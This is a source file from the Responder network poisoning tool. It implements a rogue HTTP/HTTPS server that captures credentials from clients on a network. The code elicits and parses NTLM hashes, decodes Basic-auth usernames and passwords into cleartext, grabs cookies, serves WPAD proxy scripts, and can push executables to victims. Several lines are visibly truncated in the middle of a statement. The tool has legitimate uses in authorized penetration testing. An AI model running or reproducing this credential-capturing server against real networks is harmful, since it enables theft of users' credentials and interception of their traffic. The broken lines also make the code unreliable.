#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os import struct import settings from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer from base64 import b64decode, b64encode from utils import * from packets import NTLM_Challenge from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans from packets import WPADScript, ServeExeFile, ServeHtmlFile # Parse NTLMv1/v2 hash. def ParseHTTPHash(data,client): LMhashLen = struct.unpack(' 24: NthashLen = 64 DomainLen = struct.unpack(' 2: print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) # Handle HTTP packet sequence. def PacketSequence(data, client): NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) # Send the .exe if needed if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)): return RespondWithFile(client, settings.Config.Exe_Filename) # Send the custom HTML if needed if settings.Config.Serve_Html == True: return RespondWithFile(client, settings.Config.Html_Filename) if NTLM_Auth: Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] if Packet_NTLM == "\x01": GrabURL(data, client) GrabHost(data, client) GrabCookie(data, client) Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge) Buffer.calculate() Buffer_Ans = IIS_NTLM_Challenge_Ans() Buffer_Ans.calculate(str(Buffer)) return str(Buffer_Ans) if Packet_NTLM == "\x03": NTLM_Auth = b64decode(''.join(NTLM_Auth)) ParseHTTPHash(NTLM_Auth, client) WPAD_Custom = WpadCustom(data, client) if settings.Config.Force_WPAD_Auth and WPAD_Custom: print text("[HTTP] WPAD (auth) file sent to %s" % client) return WPAD_Custom else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToServe) Buffer.calculate() return str(Buffer) if Basic_Auth: ClearText_Auth = b64decode(''.join(Basic_Auth)) GrabURL(data, client) GrabHost(data, client) GrabCookie(data, client) WPAD_Custom = WpadCustom(data,client) print text("[HTTP] (Basic) Client : %s" % client) print text("[HTTP] (Basic) Username : %s" % ClearText_Auth.split(':')[0]) print text("[HTTP] (Basic) Password : %s" % ClearText_Auth.split(':')[1]) WriteData(settings.Config.HTTPBasicLog % client, ClearText_Auth, ClearText_Auth) if settings.Config.Force_WPAD_Auth and WPAD_Custom: print text("[HTTP] WPAD (auth) file sent to %s" % client, 3, 0) return WPAD_Custom else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToServe) Buffer.calculate() return str(Buffer) else: Response = IIS_Basic_401_Ans() if settings.Config.Basic == True else IIS_Auth_401_Ans() return str(Response) # HTTP Server class class HTTP(BaseRequestHandler): def handle(self): try: while True: self.request.settimeout(1) data = self.request.recv(8092) Buffer = WpadCustom(data, self.client_address[0]) if Buffer and settings.Config.Force_WPAD_Auth == False: self.request.send(Buffer) print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) else: Buffer = PacketSequence(data,self.client_address[0]) self.request.send(Buffer) except socket.error: pass # HTTPS Server class class HTTPS(StreamRequestHandler): def setup(self): self.exchange = self.request self.rfile = socket._fileobject(self.request, "rb", self.rbufsize) self.wfile = socket._fileobject(self.request, "wb", self.wbufsize) def handle(self): try: while True: data = self.exchange.recv(8092) self.exchange.settimeout(0.5) Buffer = WpadCustom(data,self.client_address[0]) if Buffer and settings.Config.Force_WPAD_Auth == False: self.exchange.send(Buffer) print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) else: Buffer = PacketSequence(data,self.client_address[0]) self.exchange.send(Buffer) except: pass # SSL context handler class SSLSock(ThreadingMixIn, TCPServer): def __init__(self, server_address, RequestHandlerClass): from OpenSSL import SSL BaseServer.__init__(self, server_address, RequestHandlerClass) ctx = SSL.Context(SSL.SSLv3_METHOD) cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) ctx.use_privatekey_file(key) ctx.use_certificate_file(cert) self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type)) self.server_bind() self.server_activate() def shutdown_request(self,request): try: request.shutdown() except: pass